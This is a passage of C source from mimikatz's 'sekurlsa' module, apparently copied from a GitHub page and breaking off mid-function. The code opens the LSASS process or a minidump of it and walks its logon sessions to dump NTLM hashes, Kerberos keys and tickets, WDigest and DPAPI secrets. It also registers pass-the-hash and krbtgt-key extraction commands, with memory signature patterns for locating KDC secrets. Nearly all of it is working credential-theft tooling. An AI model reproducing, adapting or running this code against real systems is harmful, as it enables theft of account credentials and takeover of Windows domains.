Permalink
Cannot retrieve contributors at this time
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
1482 lines (1396 sloc)
63.6 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Benjamin DELPY `gentilkiwi` | |
https://blog.gentilkiwi.com | |
benjamin@gentilkiwi.com | |
Licence : https://creativecommons.org/licenses/by/4.0/ | |
*/ | |
#include "kuhl_m_sekurlsa.h" | |
const KUHL_M_C kuhl_m_c_sekurlsa[] = { | |
{kuhl_m_sekurlsa_msv, L"msv", L"Lists LM & NTLM credentials"}, | |
{kuhl_m_sekurlsa_wdigest, L"wdigest", L"Lists WDigest credentials"}, | |
{kuhl_m_sekurlsa_kerberos, L"kerberos", L"Lists Kerberos credentials"}, | |
{kuhl_m_sekurlsa_tspkg, L"tspkg", L"Lists TsPkg credentials"}, | |
#if !defined(_M_ARM64) | |
{kuhl_m_sekurlsa_livessp, L"livessp", L"Lists LiveSSP credentials"}, | |
#endif | |
{kuhl_m_sekurlsa_cloudap, L"cloudap", L"Lists CloudAp credentials"}, | |
{kuhl_m_sekurlsa_ssp, L"ssp", L"Lists SSP credentials"}, | |
{kuhl_m_sekurlsa_all, L"logonPasswords", L"Lists all available providers credentials"}, | |
{kuhl_m_sekurlsa_process, L"process", L"Switch (or reinit) to LSASS process context"}, | |
{kuhl_m_sekurlsa_minidump, L"minidump", L"Switch (or reinit) to LSASS minidump context"}, | |
{kuhl_m_sekurlsa_sk_bootKey, L"bootkey", L"Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials"}, | |
{kuhl_m_sekurlsa_pth, L"pth", L"Pass-the-hash"}, | |
#if !defined(_M_ARM64) | |
{kuhl_m_sekurlsa_krbtgt, L"krbtgt", L"krbtgt!"}, | |
#endif | |
{kuhl_m_sekurlsa_dpapi_system, L"dpapisystem", L"DPAPI_SYSTEM secret"}, | |
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64 | |
{kuhl_m_sekurlsa_trust, L"trust", L"Antisocial"}, | |
{kuhl_m_sekurlsa_bkeys, L"backupkeys", L"Preferred Backup Master keys"}, | |
#endif | |
{kuhl_m_sekurlsa_kerberos_tickets, L"tickets", L"List Kerberos tickets"}, | |
{kuhl_m_sekurlsa_kerberos_keys, L"ekeys", L"List Kerberos Encryption Keys"}, | |
{kuhl_m_sekurlsa_dpapi, L"dpapi", L"List Cached MasterKeys"}, | |
{kuhl_m_sekurlsa_credman, L"credman", L"List Credentials Manager"}, | |
}; | |
const KUHL_M kuhl_m_sekurlsa = { | |
L"sekurlsa", L"SekurLSA module", L"Some commands to enumerate credentials...", | |
ARRAYSIZE(kuhl_m_c_sekurlsa), kuhl_m_c_sekurlsa, kuhl_m_sekurlsa_init, kuhl_m_sekurlsa_clean | |
}; | |
KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_kdcsvc_package = {L"kdc", NULL, FALSE, L"kdcsvc.dll", {{{NULL, NULL}, 0, 0, NULL}, FALSE, FALSE}}; | |
const PKUHL_M_SEKURLSA_PACKAGE lsassPackages[] = { | |
&kuhl_m_sekurlsa_msv_package, | |
&kuhl_m_sekurlsa_tspkg_package, | |
&kuhl_m_sekurlsa_wdigest_package, | |
#if !defined(_M_ARM64) | |
&kuhl_m_sekurlsa_livessp_package, | |
#endif | |
&kuhl_m_sekurlsa_kerberos_package, | |
&kuhl_m_sekurlsa_ssp_package, | |
&kuhl_m_sekurlsa_dpapi_svc_package, | |
&kuhl_m_sekurlsa_credman_package, | |
&kuhl_m_sekurlsa_kdcsvc_package, | |
&kuhl_m_sekurlsa_cloudap_package, | |
}; | |
const KUHL_M_SEKURLSA_ENUM_HELPER lsassEnumHelpers[] = { | |
{sizeof(KIWI_MSV1_0_LIST_51), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_51, LogonServer)}, | |
{sizeof(KIWI_MSV1_0_LIST_52), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_52, LogonServer)}, | |
{sizeof(KIWI_MSV1_0_LIST_60), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_60, LogonServer)}, | |
{sizeof(KIWI_MSV1_0_LIST_61), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_61, LogonServer)}, | |
{sizeof(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ, LogonServer)}, | |
{sizeof(KIWI_MSV1_0_LIST_62), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LogonServer)}, | |
{sizeof(KIWI_MSV1_0_LIST_63), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, pSid), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, CredentialManager), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonTime), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonServer)}, | |
}; | |
const KUHL_M_SEKURLSA_LOCAL_HELPER lsassLocalHelpers[] = { | |
#if !defined(_M_ARM64) | |
{kuhl_m_sekurlsa_nt5_init, kuhl_m_sekurlsa_nt5_clean, kuhl_m_sekurlsa_nt5_acquireKeys, &kuhl_m_sekurlsa_nt5_pLsaProtectMemory, &kuhl_m_sekurlsa_nt5_pLsaUnprotectMemory}, | |
#endif | |
{kuhl_m_sekurlsa_nt6_init, kuhl_m_sekurlsa_nt6_clean, kuhl_m_sekurlsa_nt6_acquireKeys, &kuhl_m_sekurlsa_nt6_pLsaProtectMemory, &kuhl_m_sekurlsa_nt6_pLsaUnprotectMemory}, | |
}; | |
const KUHL_M_SEKURLSA_LOCAL_HELPER * lsassLocalHelper = NULL; | |
KUHL_M_SEKURLSA_CONTEXT cLsass = {NULL, {0, 0, 0}}; | |
wchar_t * pMinidumpName = NULL; | |
VOID kuhl_m_sekurlsa_reset() | |
{ | |
HANDLE toClose; | |
ULONG i; | |
if(pMinidumpName) | |
{ | |
free(pMinidumpName); | |
pMinidumpName = NULL; | |
} | |
if(cLsass.hLsassMem) | |
{ | |
switch(cLsass.hLsassMem->type) | |
{ | |
case KULL_M_MEMORY_TYPE_PROCESS: | |
toClose = cLsass.hLsassMem->pHandleProcess->hProcess; | |
break; | |
case KULL_M_MEMORY_TYPE_PROCESS_DMP: | |
toClose = cLsass.hLsassMem->pHandleProcessDmp->hMinidump; | |
break; | |
default: | |
; | |
} | |
cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem); | |
CloseHandle(toClose); | |
kuhl_m_sekurlsa_clean(); | |
} | |
for(i = 0; i < ARRAYSIZE(lsassPackages); i++) | |
RtlZeroMemory(&lsassPackages[i]->Module, sizeof(KUHL_M_SEKURLSA_LIB)); | |
} | |
NTSTATUS kuhl_m_sekurlsa_process(int argc, wchar_t * argv[]) | |
{ | |
kprintf(L"Switch to PROCESS\n"); | |
kuhl_m_sekurlsa_reset(); | |
return STATUS_SUCCESS; | |
} | |
NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[]) | |
{ | |
kprintf(L"Switch to MINIDUMP : "); | |
if(argc != 1) | |
PRINT_ERROR(L"<minidumpfile.dmp> argument is missing\n"); | |
else | |
{ | |
kuhl_m_sekurlsa_reset(); | |
pMinidumpName = _wcsdup(argv[0]); | |
kprintf(L"\'%s\'\n", pMinidumpName); | |
} | |
return STATUS_SUCCESS; | |
} | |
NTSTATUS kuhl_m_sekurlsa_init() | |
{ | |
lsassLocalHelper = NULL; | |
return STATUS_SUCCESS; | |
} | |
NTSTATUS kuhl_m_sekurlsa_clean() | |
{ | |
NTSTATUS status = STATUS_SUCCESS; | |
if(lsassLocalHelper) | |
{ | |
status = lsassLocalHelper->cleanLocalLib(); | |
lsassLocalHelper = NULL; | |
} | |
kuhl_m_sekurlsa_sk_candidatekeys_delete(); | |
return status; | |
} | |
NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[]) | |
{ | |
return kuhl_m_sekurlsa_getLogonData(lsassPackages, ARRAYSIZE(lsassPackages)); | |
} | |
NTSTATUS kuhl_m_sekurlsa_acquireLSA() | |
{ | |
NTSTATUS status = STATUS_SUCCESS; | |
KULL_M_MEMORY_TYPE Type; | |
HANDLE hData = NULL; | |
DWORD pid, cbSk; | |
PMINIDUMP_SYSTEM_INFO pInfos; | |
DWORD processRights = PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION); | |
BOOL isError = FALSE; | |
PBYTE pSk; | |
if(!cLsass.hLsassMem) | |
{ | |
status = STATUS_NOT_FOUND; | |
if(pMinidumpName) | |
{ | |
Type = KULL_M_MEMORY_TYPE_PROCESS_DMP; | |
kprintf(L"Opening : \'%s\' file for minidump...\n", pMinidumpName); | |
hData = CreateFile(pMinidumpName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); | |
} | |
else | |
{ | |
Type = KULL_M_MEMORY_TYPE_PROCESS; | |
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid)) | |
hData = OpenProcess(processRights, FALSE, pid); | |
else PRINT_ERROR(L"LSASS process not found (?)\n"); | |
} | |
if(hData && hData != INVALID_HANDLE_VALUE) | |
{ | |
if(kull_m_memory_open(Type, hData, &cLsass.hLsassMem)) | |
{ | |
if(Type == KULL_M_MEMORY_TYPE_PROCESS_DMP) | |
{ | |
if(pInfos = (PMINIDUMP_SYSTEM_INFO) kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, SystemInfoStream, NULL)) | |
{ | |
cLsass.osContext.MajorVersion = pInfos->MajorVersion; | |
cLsass.osContext.MinorVersion = pInfos->MinorVersion; | |
cLsass.osContext.BuildNumber = pInfos->BuildNumber; | |
#if defined(_M_X64) || defined(_M_ARM64) | |
if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64)) | |
PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64); | |
#elif defined(_M_IX86) | |
if(isError = (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL)) | |
PRINT_ERROR(L"Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL); | |
#endif | |
} | |
else | |
{ | |
isError = TRUE; | |
PRINT_ERROR(L"Minidump without SystemInfoStream (?)\n"); | |
} | |
if (pSk = (PBYTE)kull_m_minidump_stream(cLsass.hLsassMem->pHandleProcessDmp->hMinidump, (MINIDUMP_STREAM_TYPE)0x1337, &cbSk)) | |
{ | |
kprintf(L" > SecureKernel stream found in minidump (%u bytes)\n", cbSk); | |
pid = kuhl_m_sekurlsa_sk_search(pSk, cbSk, TRUE); | |
kprintf(L" %u candidate keys found\n", pid); | |
} | |
} | |
else | |
{ | |
#if defined(_M_IX86) | |
if(IsWow64Process(GetCurrentProcess(), &isError) && isError) | |
PRINT_ERROR(MIMIKATZ L" " MIMIKATZ_ARCH L" cannot access x64 process\n"); | |
else | |
#endif | |
{ | |
cLsass.osContext.MajorVersion = MIMIKATZ_NT_MAJOR_VERSION; | |
cLsass.osContext.MinorVersion = MIMIKATZ_NT_MINOR_VERSION; | |
cLsass.osContext.BuildNumber = MIMIKATZ_NT_BUILD_NUMBER; | |
} | |
} | |
if(!isError) | |
{ | |
lsassLocalHelper = | |
#if defined(_M_ARM64) | |
&lsassLocalHelpers[0] | |
#else | |
(cLsass.osContext.MajorVersion < 6) ? &lsassLocalHelpers[0] : &lsassLocalHelpers[1] | |
#endif | |
; | |
if(NT_SUCCESS(lsassLocalHelper->initLocalLib())) | |
{ | |
#if !defined(_M_ARM64) | |
kuhl_m_sekurlsa_livessp_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_8); | |
#endif | |
kuhl_m_sekurlsa_tspkg_package.isValid = (cLsass.osContext.MajorVersion >= 6) || (cLsass.osContext.MinorVersion < 2); | |
kuhl_m_sekurlsa_cloudap_package.isValid = (cLsass.osContext.BuildNumber >= KULL_M_WIN_BUILD_10_1909); | |
if(NT_SUCCESS(kull_m_process_getVeryBasicModuleInformations(cLsass.hLsassMem, kuhl_m_sekurlsa_findlibs, NULL)) && kuhl_m_sekurlsa_msv_package.Module.isPresent) | |
{ | |
kuhl_m_sekurlsa_dpapi_lsa_package.Module = kuhl_m_sekurlsa_msv_package.Module; | |
if(kuhl_m_sekurlsa_utils_search(&cLsass, &kuhl_m_sekurlsa_msv_package.Module)) | |
{ | |
status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations); | |
if(!NT_SUCCESS(status)) | |
PRINT_ERROR(L"Key import\n"); | |
} | |
else PRINT_ERROR(L"Logon list\n"); | |
} | |
else PRINT_ERROR(L"Modules informations\n"); | |
} | |
else PRINT_ERROR(L"Local LSA library failed\n"); | |
} | |
} | |
else PRINT_ERROR(L"Memory opening\n"); | |
if(!NT_SUCCESS(status)) | |
CloseHandle(hData); | |
} | |
else PRINT_ERROR_AUTO(L"Handle on memory"); | |
if(!NT_SUCCESS(status)) | |
cLsass.hLsassMem = kull_m_memory_close(cLsass.hLsassMem); | |
} | |
return status; | |
} | |
BOOL CALLBACK kuhl_m_sekurlsa_findlibs(PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION pModuleInformation, PVOID pvArg) | |
{ | |
ULONG i; | |
for(i = 0; i < ARRAYSIZE(lsassPackages); i++) | |
{ | |
if(_wcsicmp(lsassPackages[i]->ModuleName, pModuleInformation->NameDontUseOutsideCallback->Buffer) == 0) | |
{ | |
lsassPackages[i]->Module.isPresent = TRUE; | |
lsassPackages[i]->Module.Informations = *pModuleInformation; | |
} | |
} | |
return TRUE; | |
} | |
NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalData) | |
{ | |
KIWI_BASIC_SECURITY_LOGON_SESSION_DATA sessionData; | |
ULONG nbListes = 1, i; | |
PVOID pStruct; | |
KULL_M_MEMORY_ADDRESS securityStruct, data = {&nbListes, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aBuffer = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; | |
BOOL retCallback = TRUE; | |
const KUHL_M_SEKURLSA_ENUM_HELPER * helper; | |
NTSTATUS status = kuhl_m_sekurlsa_acquireLSA(); | |
if(NT_SUCCESS(status)) | |
{ | |
sessionData.cLsass = &cLsass; | |
sessionData.lsassLocalHelper = lsassLocalHelper; | |
if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_2K3) | |
helper = &lsassEnumHelpers[0]; | |
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_VISTA) | |
helper = &lsassEnumHelpers[1]; | |
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_7) | |
helper = &lsassEnumHelpers[2]; | |
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_8) | |
helper = &lsassEnumHelpers[3]; | |
else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE) | |
helper = &lsassEnumHelpers[5]; | |
else | |
helper = &lsassEnumHelpers[6]; | |
if((cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_7) && (cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE) && (kuhl_m_sekurlsa_msv_package.Module.Informations.TimeDateStamp > 0x53480000)) | |
helper++; // yeah, really, I do that =) | |
securityStruct.hMemory = cLsass.hLsassMem; | |
if(securityStruct.address = LogonSessionListCount) | |
kull_m_memory_copy(&data, &securityStruct, sizeof(ULONG)); | |
for(i = 0; i < nbListes; i++) | |
{ | |
securityStruct.address = &LogonSessionList[i]; | |
data.address = &pStruct; | |
data.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE; | |
if(aBuffer.address = LocalAlloc(LPTR, helper->tailleStruct)) | |
{ | |
if(kull_m_memory_copy(&data, &securityStruct, sizeof(PVOID))) | |
{ | |
data.address = pStruct; | |
data.hMemory = securityStruct.hMemory; | |
while((data.address != securityStruct.address) && retCallback) | |
{ | |
if(kull_m_memory_copy(&aBuffer, &data, helper->tailleStruct)) | |
{ | |
sessionData.LogonId = (PLUID) ((PBYTE) aBuffer.address + helper->offsetToLuid); | |
sessionData.LogonType = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToLogonType)); | |
sessionData.Session = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToSession)); | |
sessionData.UserName = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToUsername); | |
sessionData.LogonDomain = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToDomain); | |
sessionData.pCredentials= *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentials); | |
sessionData.pSid = *(PSID *) ((PBYTE) aBuffer.address + helper->offsetToPSid); | |
sessionData.pCredentialManager = *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentialManager); | |
sessionData.LogonTime = *((PFILETIME) ((PBYTE) aBuffer.address + helper->offsetToLogonTime)); | |
sessionData.LogonServer = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToLogonServer); | |
kull_m_process_getUnicodeString(sessionData.UserName, cLsass.hLsassMem); | |
kull_m_process_getUnicodeString(sessionData.LogonDomain, cLsass.hLsassMem); | |
kull_m_process_getUnicodeString(sessionData.LogonServer, cLsass.hLsassMem); | |
kull_m_process_getSid(&sessionData.pSid, cLsass.hLsassMem); | |
retCallback = callback(&sessionData, pOptionalData); | |
if(sessionData.UserName->Buffer) | |
LocalFree(sessionData.UserName->Buffer); | |
if(sessionData.LogonDomain->Buffer) | |
LocalFree(sessionData.LogonDomain->Buffer); | |
if(sessionData.LogonServer->Buffer) | |
LocalFree(sessionData.LogonServer->Buffer); | |
if(sessionData.pSid) | |
LocalFree(sessionData.pSid); | |
data.address = ((PLIST_ENTRY) (aBuffer.address))->Flink; | |
} | |
else break; | |
} | |
} | |
LocalFree(aBuffer.address); | |
} | |
} | |
} | |
return status; | |
} | |
BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_logondata(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData) | |
{ | |
PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA pLsassData = (PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA) pOptionalData; | |
ULONG i; | |
//PDWORD sub = NULL; | |
if((pData->LogonType != Network)/* && pData->LogonType != UndefinedLogonType*/) | |
{ | |
//if(IsValidSid(pData->pSid) && GetSidSubAuthorityCount(pData->pSid)) | |
// sub = GetSidSubAuthority(pData->pSid, 0); | |
//if(!sub || (*sub != 90 && *sub != 96)) | |
//{ | |
kuhl_m_sekurlsa_printinfos_logonData(pData); | |
for(i = 0; i < pLsassData->nbPackages; i++) | |
{ | |
if(pLsassData->lsassPackages[i]->Module.isPresent && lsassPackages[i]->isValid) | |
{ | |
kprintf(L"\t%s :\t", pLsassData->lsassPackages[i]->Name); | |
pLsassData->lsassPackages[i]->CredsForLUIDFunc(pData); | |
kprintf(L"\n"); | |
} | |
} | |
//} | |
} | |
return TRUE; | |
} | |
const wchar_t * KUHL_M_SEKURLSA_LOGON_TYPE[] = { | |
L"UndefinedLogonType", | |
L"Unknown !", | |
L"Interactive", | |
L"Network", | |
L"Batch", | |
L"Service", | |
L"Proxy", | |
L"Unlock", | |
L"NetworkCleartext", | |
L"NewCredentials", | |
L"RemoteInteractive", | |
L"CachedInteractive", | |
L"CachedRemoteInteractive", | |
L"CachedUnlock", | |
}; | |
void kuhl_m_sekurlsa_printinfos_logonData(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData) | |
{ | |
kprintf(L"\nAuthentication Id : %u ; %u (%08x:%08x)\n" | |
L"Session : %s from %u\n" | |
L"User Name : %wZ\n" | |
L"Domain : %wZ\n" | |
L"Logon Server : %wZ\n" | |
, pData->LogonId->HighPart, pData->LogonId->LowPart, pData->LogonId->HighPart, pData->LogonId->LowPart, KUHL_M_SEKURLSA_LOGON_TYPE[pData->LogonType], pData->Session, pData->UserName, pData->LogonDomain, pData->LogonServer); | |
kprintf(L"Logon Time : "); | |
kull_m_string_displayLocalFileTime(&pData->LogonTime); | |
kprintf(L"\n"); | |
kprintf(L"SID : "); | |
if(pData->pSid) | |
kull_m_string_displaySID(pData->pSid); | |
kprintf(L"\n"); | |
} | |
NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPackages, ULONG nbPackages) | |
{ | |
KUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA OptionalData = {lsassPackages, nbPackages}; | |
return kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_logondata, &OptionalData); | |
} | |
#if !defined(_M_ARM64) // No DC on ARM64, for now? | |
#if defined(_M_X64) | |
BYTE PTRN_W2K3_SecData[] = {0x48, 0x8d, 0x6e, 0x30, 0x48, 0x8d, 0x0d}; | |
BYTE PTRN_W2K8_SecData[] = {0x48, 0x8d, 0x94, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d}; | |
BYTE PTRN_W2K12_SecData[] = {0x4c, 0x8d, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x15}; | |
BYTE PTRN_W2K12R2_SecData[] = {0x0f, 0xb6, 0x4c, 0x24, 0x30, 0x85, 0xc0, 0x0f, 0x45, 0xcf, 0x8a, 0xc1}; | |
BYTE PTRN_W2K19_SecData[] = {0x44, 0x8b, 0x45, 0x80, 0x85, 0xc0, 0x0f, 0x84}; | |
KULL_M_PATCH_GENERIC SecDataReferences[] = { | |
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_W2K3_SecData), PTRN_W2K3_SecData}, {0, NULL}, { 7, 37}}, | |
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_W2K8_SecData), PTRN_W2K8_SecData}, {0, NULL}, { 11, 39}}, | |
{KULL_M_WIN_BUILD_8, {sizeof(PTRN_W2K12_SecData), PTRN_W2K12_SecData}, {0, NULL}, { 10, 39}}, | |
{KULL_M_WIN_BUILD_BLUE, {sizeof(PTRN_W2K12R2_SecData), PTRN_W2K12R2_SecData}, {0, NULL}, {-12, 39}}, | |
{KULL_M_WIN_BUILD_10_1507, {sizeof(PTRN_W2K12R2_SecData), PTRN_W2K12R2_SecData}, {0, NULL}, { -9, 39}}, | |
{KULL_M_WIN_BUILD_10_1809, {sizeof(PTRN_W2K19_SecData), PTRN_W2K19_SecData}, {0, NULL}, { -9, 39}}, | |
}; | |
#elif defined(_M_IX86) | |
BYTE PTRN_W2K3_SecData[] = {0x53, 0x56, 0x8d, 0x45, 0x98, 0x50, 0xb9}; | |
BYTE PTRN_W2K8_SecData[] = {0x8b, 0x45, 0x14, 0x83, 0xc0, 0x18, 0x50, 0xb9}; | |
KULL_M_PATCH_GENERIC SecDataReferences[] = { | |
{KULL_M_WIN_BUILD_2K3, {sizeof(PTRN_W2K3_SecData), PTRN_W2K3_SecData}, {0, NULL}, { 7, 45}}, | |
{KULL_M_WIN_BUILD_VISTA, {sizeof(PTRN_W2K8_SecData), PTRN_W2K8_SecData}, {0, NULL}, { 8, 47}}, | |
}; | |
#endif | |
NTSTATUS kuhl_m_sekurlsa_krbtgt(int argc, wchar_t * argv[]) | |
{ | |
NTSTATUS status = kuhl_m_sekurlsa_acquireLSA(); | |
LONG l = 0; | |
DUAL_KRBTGT dualKrbtgt = {NULL, NULL}; | |
KULL_M_MEMORY_ADDRESS aLsass = {NULL, cLsass.hLsassMem}, aLocal = {&dualKrbtgt, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; | |
if(NT_SUCCESS(status)) | |
{ | |
if(kuhl_m_sekurlsa_kdcsvc_package.Module.isPresent) | |
{ | |
if(kuhl_m_sekurlsa_utils_search_generic(&cLsass, &kuhl_m_sekurlsa_kdcsvc_package.Module, SecDataReferences, ARRAYSIZE(SecDataReferences), &aLsass.address, NULL, NULL, &l)) | |
{ | |
aLsass.address = (PBYTE) aLsass.address + sizeof(PVOID) * l; | |
if(kull_m_memory_copy(&aLocal, &aLsass, sizeof(DUAL_KRBTGT))) | |
{ | |
kuhl_m_sekurlsa_krbtgt_keys(dualKrbtgt.krbtgt_current, L"Current"); | |
kuhl_m_sekurlsa_krbtgt_keys(dualKrbtgt.krbtgt_previous, L"Previous"); | |
} | |
} | |
else PRINT_ERROR(L"Unable to find KDC pattern in LSASS memory\n"); | |
} | |
else PRINT_ERROR(L"KDC service not in LSASS memory\n"); | |
} | |
return status; | |
} | |
void kuhl_m_sekurlsa_krbtgt_keys(PVOID addr, PCWSTR prefix) | |
{ | |
DWORD sizeForCreds, i; | |
KIWI_KRBTGT_CREDENTIALS_64 tmpCred64, *creds64; | |
KIWI_KRBTGT_CREDENTIALS_6 tmpCred6, *creds6; | |
